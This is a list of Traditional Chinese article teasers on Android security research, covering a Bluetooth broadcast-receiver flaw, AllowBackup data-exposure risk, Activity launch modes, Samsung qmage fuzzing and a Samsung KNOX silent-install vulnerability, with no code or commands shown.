    漏洞概要如下:0x02 漏洞分析藍牙App暴露了一個廣播接收器com.android.bluetooth.opp.BluetoothOppReceiver,本地普通App可以向這個Receiver發送廣播,查看其OnReceive方法,包含了對多種傳入廣播Intent Action的處理,但是大多數Intent Action處於保護狀態,簡單用adb shell可以一一對其測試,比如
  • 【Sobug漏洞時間】詳解Android App AllowBackup配置帶來的風險
    當這個標誌被設置為true時應用程式數據可以在手機未獲取 ROOT 的情況下通過adb調試工具來備份和恢復,這就允許惡意攻擊者在接觸用戶手機的情況下在短時間內啟動手機 USB 調試功能來竊取那些能夠受到 AllowBackup 漏洞影響的應用的數據,造成用戶隱私洩露甚至財產損失。使用反編繹工具 JEB 查看 weibo 客戶端 manifest 配置:
  • Android進階之Activity啟動模式和應用場景詳解
    前言:Activity 作為 Android 四大組件之一,幾乎是被接觸得最多的;Android對Activity的管理,Android採用Task來管理多個Activity,當我們啟動一個應用時,Android就會為之創建一個Task,然後啟動這個應用的入口Activity;在開發實際項目中會包含著多個Activity,
  • samsung漏洞挖掘
    該系列的文章以qmage的解析器codec為對象,詳細介紹了發掘可研究點,獲取對象信息,挖掘攻擊面,尋找和構造攻擊向量,編寫有效的fuzzer以及最後根據某個漏洞編寫exp的一套流程,本文包含了一些學習中感覺有價值的點和一些我踩坑的經歷,一併發出來。
  • 三星KNOX遠程靜默安裝漏洞深入分析報告
    我們測試了市場上的應用,發現90%的應用都沒有使用自升級校驗包名的機制,希望可以吸取三星的教訓,開發出更加安全,更加健壯的app。詳細分析首先我們把這個漏洞應用拉出來進行分析,看下應用是如何處理這個smdm協議的。